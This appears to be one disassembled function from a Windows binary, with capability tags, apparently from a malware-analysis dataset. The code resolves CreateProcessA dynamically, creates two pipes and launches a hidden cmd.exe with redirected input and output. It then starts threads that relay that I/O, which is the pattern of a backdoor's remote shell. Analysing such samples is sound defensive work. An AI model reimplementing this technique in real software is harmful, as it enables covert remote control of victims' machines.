Function at 0x10008c60
Capabilities:
Create pipe
Create two anonymous pipes
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x1001269b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x170
mov eax, dword [esp + 0x180]
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push eax
mov dword [esp + 0x38], ebp
call fcn.10006b00
xor esi, esi
push str.CreateProcessA
push str.kernel32.dll
mov dword [esp + 0x190], esi
mov dword [ebp], 0x100132cc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x28], ecx
xor edx, edx
mov dword [esp + 0x2c], ecx
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x3c]
mov dword [esp + 0x38], esi
mov dword [esp + 0x18], edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x1c], edx
mov ecx, 0x40
lea edi, [esp + 0x7d]
mov byte [esp + 0x7c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp + 0x10]
lea ebx, [ebp + 0x18]
mov dword [esp + 0x14], esi
mov dword [ebp + 0x14], esi
mov dword [edi], esi
mov dword [ebx], esi
lea eax, [esp + 0x24]
lea esi, [ebp + 0x1c]
push edx
push eax
push esi
push edi
mov dword [esp + 0x30], edx
mov dword [esi], edx
mov dword [esp + 0x34], 0xc
mov dword [esp + 0x38], edx
mov dword [esp + 0x3c], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10008d55
mov edi, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x10008d43
push edi
call ebx
mov esi, dword [esi]
test esi, esi
je 0x10008e9d
push esi
call ebx
jmp 0x10008e9d
lea ecx, [esp + 0x24]
push 0
lea edi, [ebp + 0x14]
push ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10008d8c
mov edi, dword [edi]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x10008d7a
push edi
call esi
mov ebx, dword [ebx]
test ebx, ebx
je 0x10008e9d
push ebx
call esi
jmp 0x10008e9d
xor edx, edx
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x38]
mov dword [esp + 0x14], edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x18], edx
lea eax, [esp + 0x38]
mov dword [esp + 0x1c], edx
push eax
mov dword [esp + 0x24], edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov ecx, dword [ebx]
mov esi, dword [esi]
lea edx, [esp + 0x7c]
push 0x104
push edx
mov dword [esp + 0x40], 0x44
mov word [esp + 0x70], 0
mov dword [esp + 0x6c], 0x101
mov dword [esp + 0x78], ecx
mov dword [esp + 0x80], esi
mov dword [esp + 0x7c], esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.System32cmd.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x80]
push ecx
push 0
push 0
push 0x20
push 1
push 0
push 0
push 0
push edx
call dword [esp + 0x58]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x13]
mov dword [ebp + 0x24], ecx
push 1
push edx
mov ecx, ebp
mov dword [ebp + 0x20], eax
mov byte [esp + 0x1b], 0x80
call fcn.10006b80
mov ecx, ebp
call fcn.10006bf0
push 0
push 0
push 0
push ebp
push 0x10009020
push 0
push 0
call fcn.1000a8b0
push 0
push 0
mov dword [ebp + 0x28], eax
push 0
push ebp
push 0x100090e0
push 0
push 0
call fcn.1000a8b0
add esp, 0x38
mov dword [ebp + 0x2c], eax
mov ecx, dword [esp + 0x180]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x17c
ret 4